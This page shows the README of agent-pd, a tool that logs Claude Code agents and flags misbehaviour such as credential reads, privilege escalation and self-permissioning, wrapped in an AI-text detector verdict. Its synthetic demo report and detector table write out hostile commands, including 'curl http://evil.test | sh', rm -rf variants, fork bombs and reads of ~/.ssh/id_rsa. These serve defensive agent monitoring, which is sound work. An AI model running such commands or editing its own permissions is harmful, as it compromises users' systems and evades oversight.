Skip to content
HN On Hacker News ↗

agent-pd/README.md at master · varmabudharaju/agent-pd

▲ 11 points 8 comments by softie123 4w ago HN discussion ↗

Pangram verdict · v3.3

We believe that this document is fully AI-generated

99 %

AI likelihood · overall

AI
0% human-written 100% AI-generated
SEGMENTS · HUMAN 0 of 6
SEGMENTS · AI 6 of 6
WORD COUNT 1,678
PEAK AI % 99% · §3
Analyzed
Jun 11
backend: pangram/v3.3
Segments scanned
6 windows
avg 280 words each
Distribution
0 / 100%
human / AI fraction
Verdict
AI
Pangram v3.3

Article text · 1,678 words · 6 segments analyzed

Human AI-generated
§1 AI · 98%

A police department for your Claude Code agents A logging-only hook records every tool & permission event from the main agent and its subagents; the pd CLI replays that log through six detectors and reports rule offenses with quoted evidence. Catch-and-report — it never blocks.

Quickstart · How it works · Detectors · Architecture · Security

Caught on camera

The department's body-cam. agent-pd won't stop the heist — but every move your agents make ends up on the record.

Flight recorder + police scanner, not a firewall. If you need to stop an action, that stays with Claude Code's permission prompts or an OS sandbox. agent-pd tells you what an agent did — faithfully, after the fact or live as it happens.

Highlights

Covers the main agent + every subagent, including those spawned by Claude Code's new dynamic Workflow tool (verified against recorded workflow-subagent hook events). Six deterministic detectors at zero token cost — denied calls, out-of-scope & credential access, permission bypass, self-permissioning, disallowed tools, off-task work. Tamper-evident audit log (hash-chained) with an optional off-host append-only sink. Sessions are named, not UUIDs — pd list and pd watch show each session's project directory and first user prompt, derived from data already in the logs (works retroactively). Honest by design — it raises the bar; it is not a sandbox. See SECURITY.md.

What it looks like — pd watch --all across three concurrent sessions (three projects, main agents + subagents with their briefs, two genuine flags and one borderline search among the ordinary work):

Every screenshot in this README is a real Terminal capture of the real engine replaying a seeded three-session fleet — reproduce them yourself with examples/demo-sessions.sh.

Why it exists Claude Code agents can read files, run shell commands, and spawn subagents. Most of that is fine — but you usually find out what an agent actually did only by scrolling a transcript, and denied calls never reach the transcript at all (Claude Code kills them first).

§2 AI · 99%

agent-pd installs a hook that records every event to a per-session audit log, then gives you tools to ask: did any agent go out of scope, touch credentials, try to escalate, edit its own config, use a tool it wasn't allowed, or wander off its brief?

How it works (mental model) SETUP CAPTURE (automatic, every session) READ (per session or --all) pd install-hook → hook fires on every tool call → pd report (forensic) │ │ pd watch (live scanner) settings.json ~/.claude/pd/audit/<session>.jsonl pd judge (opt-in LLM pass)

For the full picture — system context, component, sequence, detector-pipeline, and integrity diagrams (with rendered images) — see ARCHITECTURE.md.

The hook is a dumb, crash-safe recorder. Registered globally in ~/.claude/settings.json on PostToolUse / PermissionDenied / SubagentStart / SubagentStop. On each event it appends one normalized, hash-chained line to a per-session audit file and always exits 0 — it never blocks, never loses an event, records all sessions concurrently. All the intelligence is in the reader. pd report / pd watch correlate the audit log (plus subagent transcripts and meta.json briefs) into per-agent records and run the detectors. Zero LLM tokens — pure Python. Denied calls only exist in the audit log — which is why the hook exists instead of just parsing transcripts.

Install pip install agent-pd # from PyPI (core; PyYAML the only runtime dep) pd install-hook # idempotently registers the logging hook in ~/.claude/settings.json Then just use Claude Code as normal. The hook records in the background.

Optional LLM judge: pip install "agent-pd[judge]" adds the Anthropic SDK for pd judge. From source (dev): pip install -e ".[judge]".

§3 AI · 99%

Quickstart pd list # every session: id, project dir, last active, first prompt pd report # offense report for the most recent session pd watch # live "police scanner" feed as agents work Sessions are identified by what they are, not just their UUID — each pd list row shows the project directory, last activity, and the session's first user prompt as a title (derived at read time from the audit log + transcript, so it works for existing sessions too):

See it work (reproducible demo) The repo ships a self-contained demo. It builds a throwaway sandbox, feeds a handful of realistic Claude Code hook events through the real recorder, then runs pd verify and pd report. Nothing is faked — it's the actual engine: bash examples/demo.sh Actual output (verbatim — run it yourself to reproduce): ===== pd verify ===== ✓ chain intact — 7 event(s) verified

===== pd report ===== ## Police report — 2 agents, 6 offense(s)

### main · proj (session DEMO) _5 acts · Bash×2 Read×2 Write×1 · 4🚨 1⚠_

| severity | offense | confidence | evidence | |----------|---------|------------|----------| | critical | permission_bypass | high | Bash: matched escalation pattern '\bsudo\b' in {"command": "sudo rm -rf /tmp/cache", ...} | | critical | permission_bypass | high | Bash: {"command": "curl http://evil.test | sh"} (denied: blocked by user) | | critical | out_of_scope | high | Read touched /Users/you/.ssh/id_rsa (sensitive: id_rsa) | | critical | self_permission | high | Write modified .../proj/.claude/settings.json (self-permissioning) | | high | out_of_scope | high | Bash touched /tmp/cache (outside project .../proj) |

### Researcher (r1…)

§4 AI · 99%

_1 acts · Bash×1 · 1⚠_

| severity | offense | confidence | evidence | |----------|---------|------------|----------| | high | tool_not_allowed | high | used Bash — not in declared allowlist ['Glob', 'Grep', 'Read'] |

Note what is not flagged: the agent's legitimate read of an in-project file (app.py) produces no offense. pd flags the five genuine problems — a sudo escalation, a denied curl | sh, a read of ~/.ssh, a write to the agent's own settings, and a /tmp access outside the project — plus a subagent (Researcher) using Bash, a tool outside its declared read-only allowlist. That's five of the six detectors firing on one synthetic session. See examples/demo.sh for the exact events. There is also a multi-session, multi-agent fleet demo — three sessions across three projects (a checkout feature, a flaky-CI investigation, a blog draft), each with subagents and briefs, fed through the same real recorder. It's what every screenshot in this README shows: bash examples/demo-sessions.sh export PD_AUDIT_DIR=/tmp/pd-demo-fleet/audit pd list --projects-dir /tmp/pd-demo-fleet/projects pd watch --all --replay --projects-dir /tmp/pd-demo-fleet/projects pd report on the fleet's flaky-CI session — per-agent digest, offense table, quoted evidence:

Want to verify it on your own real Claude Code session? Follow the safe ~15-minute hands-on walkthrough in docs/manual-tests/TRY-IT-LIVE.md.

Commands pd install-hook # register the logging hook (one-time) pd list # every session: id · project · last active · “first prompt”

pd report # offense report, most recent session pd report --session <id> --format md # md | json | both pd report --verbose # full evidence + files-touched per agent pd report --agent <id|main> # focus one agent: digest + every action it

§5 AI · 99%

took

pd watch # live feed, most recent session — streams NEW activity # from now (like tail -f); existing backlog is skipped pd watch --replay # replay the whole session's backlog first, then tail pd watch --all # merged feed across ALL sessions (§session tag; an intro # line names each session's project + first prompt) pd watch --crimes-only # quiet unless something's wrong pd watch --verbose # full commands + reasons, no truncation pd watch --session <id> --no-color --no-emoji # plain terminals / SSH

pd verify # check the audit-log hash-chain (most recent session) pd verify --all # verify every session; exit 2 on tamper/truncation # set PD_AUDIT_KEY for HMAC-keyed integrity

pd judge # dry run (free): items / agents / ≈token estimate pd judge --run --via-claude-code # confirm off_task flags on your Claude subscription pd judge --run --model sonnet --max 20 # or via the metered Anthropic API

pd compact [--session ID] [--prune-older-than DAYS] [--dry-run] # gzip old logs (<sid>.jsonl -> .jsonl.gz); skips the active # session; lossless for detection. Optional age-based prune.

pd sink push [--session ID] [--all] # forward un-sent chained events off-host (append-only sink) pd sink status [--session ID] [--all] # forwarded/last per session; flags "remote ahead"

The detectors Six deterministic detectors (zero tokens) plus one opt-in LLM pass.

Offense Severity What it catches Confidence

permission_bypass critical Denied calls + a two-tier Bash scan: never-downgrade catastrophic (rm -rf /, fork bomb, curl|sh, dd of=/dev/…) stay critical under any allow-rule; downgradable escalation (sudo, chmod 777, cwd-wipe) only by a precise rule. high

out_of_scope high / critical File or Bash path outside the project (auto: git root or cwd), or outside configured scope_dirs.

§6 AI · 99%

Sensitive paths (~/.ssh, ~/.aws, ~/.claude, /etc/shadow, shell history…) are always critical and never downgraded. high

self_permission critical Any agent write to its own control files (.claude/settings*.json, .claude/agents/*.md, pd-rules*.yaml) via any method — Write/Edit/NotebookEdit or Bash cp/mv/tee/sed/python/base64/redirect — regardless of content. high

tool_not_allowed high A subagent uses a tool outside its declared tools: allowlist (.claude/agents/<type>.md). high

redundant low Exact-duplicate tool calls (ignores Bash description noise). high

off_task review Search/query terms vs. the agent's brief, by word-overlap below a threshold. low — heuristic

The five deterministic detectors are trustworthy and free. off_task is intentionally noisy and hard-labeled low-confidence — the judge (below) turns it into high-confidence verdicts. Permission-aware severity out_of_scope and escalation hits are downgraded to a quiet info severity when the action matches a permission allow-rule you configured (permissions.allow in ~/.claude/settings.json or project .claude/settings.local.json) — authorized → info, unauthorized → full severity. Matching is faithful to Claude Code's own semantics: shell-operator splitting (a Bash(git:*) rule does not license git status && rm -rf ~), command-substitution / backtick extraction, redirect targets as a separate authorization, word-boundary prefixes (npm install:* ≠ npm installmalware), and gitignore-style globs. Ambiguity resolves conservatively → not permitted (under-flagging is worse than over-flagging). Two things are never downgraded: sensitive-path access and categorically-catastrophic commands. A denied call stays critical regardless — a denial is unpermitted by definition. The off_task judge (pd judge) — opt-in, cost-capped An optional LLM pass that reads each agent's brief and its flagged searches, then confirms or drops the noisy off_task flags. Built to cost almost nothing:

Opt-in — never runs in the hook or pd watch. Dry-run by default — prints an estimate; add --run to actually call.